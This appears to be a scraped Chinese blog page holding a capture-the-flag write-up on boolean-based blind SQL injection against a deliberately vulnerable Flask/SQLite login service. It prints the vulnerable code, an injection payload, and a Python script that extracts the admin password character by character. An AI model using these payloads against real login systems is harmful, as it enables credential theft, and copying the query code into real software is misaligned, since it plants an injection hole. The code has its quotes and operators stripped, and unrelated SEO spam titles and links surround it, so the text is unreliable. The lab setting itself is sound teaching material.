当前位置: 首页 > news >正文

成都市建设领域网站咨询电话东莞网站优化软件

成都市建设领域网站咨询电话,东莞网站优化软件,phpcms v9网站模板,如何做企业市场调研在这个场景中#xff0c;我们需要利用SQL注入漏洞来泄露flag#xff0c;但是应用程序并不会直接返回查询结果。相反#xff0c;我们需要根据应用程序的行为差异#xff08;登录成功与否#xff09;来推断查询结果。这就是所谓的布尔盲注#xff08;Boolean-b…在这个场景中我们需要利用SQL注入漏洞来泄露flag但是应用程序并不会直接返回查询结果。相反我们需要根据应用程序的行为差异登录成功与否来推断查询结果。这就是所谓的布尔盲注Boolean-based Blind SQL Injection。 我们可以通过构造一系列的是/否问题并根据应用程序的响应来逐位获取flag。 服务器的处理逻辑如下所示 #!/opt/pwn.college/pythonimport tempfile import sqlite3 import flask import osapp flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file tempfile.NamedTemporaryFile(x, suffix.db)def execute(self, sql, parameters()):connection sqlite3.connect(self.db_file.name)connection.row_factory sqlite3.Rowcursor connection.cursor()result cursor.execute(sql, parameters)connection.commit()return resultdb TemporaryDB() # https://www.sqlite.org/lang_createtable.html db.execute(CREATE TABLE users AS SELECT admin AS username, ? as password, [open(/flag).read()]) # https://www.sqlite.org/lang_insert.html db.execute(INSERT INTO users SELECT guest as username, password as password)app.route(/, methods[POST]) def challenge_post():username flask.request.form.get(username)password flask.request.form.get(password)if not username:flask.abort(400, Missing username form parameter)if not password:flask.abort(400, Missing password form parameter)try:# https://www.sqlite.org/lang_select.htmlquery fSELECT rowid, * FROM users WHERE username {username} AND password {password}print(fDEBUG: {query})user db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, fQuery: {query}\nError: {e})if not user:flask.abort(403, Invalid username or password)flask.session[user] usernamereturn flask.redirect(flask.request.path)app.route(/, methods[GET]) def challenge_get():if not (username : flask.session.get(user, None)):page htmlbodyWelcome to the login service! Please log in as admin to get the flag.else:page fhtmlbodyHello, {username}!return page hrform methodpostUser:input typetext nameusernamePass:input typetext namepasswordinput typesubmit valueSubmit/form/body/htmlapp.secret_key os.urandom(8) port 8080 if os.geteuid() else 80 app.config[SERVER_NAME] fchallenge.localhost:{port} app.run(challenge.localhost, port) 这里我们需要构造合适的payload:   admin-- -- 注释掉查询的剩余部分 整个查询会变成 SELECT rowid, * FROM users WHERE username admin-- AND password anything 进一步得到 SELECT rowid, * FROM users WHERE username admin AND substr((SELECT password FROM users WHERE usernameadmin), 1, 1) a-- AND password anything 构造脚本逐字符猜测 import requests import stringurl http://challenge.localhost:8080 flag charset string.printable.strip()def check(payload):response requests.post(url, data{username: payload, password: anything}, allow_redirectsFalse)return response.status_code 302# 获取flag长度 for i in range(1, 100):payload fadmin AND length((SELECT password FROM users WHERE usernameadmin)) {i}--if check(payload):print(fFlag length: {i})flag_length ibreak# 获取flag内容 for i in range(1, flag_length 1):for char in charset:payload fadmin AND substr((SELECT password FROM users WHERE usernameadmin), {i}, 1) {char}--if check(payload):flag charprint(fCurrent flag: {flag})breakprint(fFinal flag: {flag})
http://www.hkea.cn/news/14433925/

相关文章:

  • 公司做彩票网站违法吗吉利汽车新能源品牌
  • 佛山网站建站h5可以发在哪些平台上
  • 网站开发7个基本流程图哪个装修公司比较好
  • 美食电子商务网站建设规划书成都网站建设哪家专业而且比较便宜
  • 开发一个网站的步骤流程大型网站怎么做优化
  • 无锡网络公司可以制作网站WordPress用quic
  • 成都专业网站建设价格店面设计师岗位职责
  • 网站建设工作量评估渭南建设工程招标投标网站
  • 网站建设后台有哪些项目怎么区分营销型和展示型的网站
  • 上海企业建站提供商学校网站怎么下载不了
  • 网站建设的基础内容公司网站开发主要技术
  • 网站被同行链接代替自媒体十大平台
  • 北京网站优化解决方案北京专门做网站的公司
  • 车公庙网站建设免费网站在哪里申请
  • 山东省建设教育集团网站首页汕头快速建站模板
  • 网站图片如何做链接重庆品牌餐饮加盟网站建设
  • 站长工具推荐seo综合查询网站编程入门教程
  • 网站做支付链接安全吗免费微信公众号首图
  • 上海专业网站建设公司一个平台维护三天正常吗
  • 做网站吉林去哪儿网站上做民宿需要材料
  • 上海有名的做网站的公司有哪些常州的网站建设
  • 网站不备案会怎...wordpress 支持手机6
  • 网站收录软件设计网站项目描述
  • 替朋友做网站wordpress get_post_custom_values
  • 完整酒店网站开发网站制作com cn域名有什么区别
  • 微信电影网站怎么做的福田网站建设论文结论
  • 网站网页设计htmlseo百度推广
  • 建网站怎么赚流量网页网站的区别是什么
  • 大连网站建设开发网站建设与推广培训学校
  • 镇江做网站网站开发遇到的问题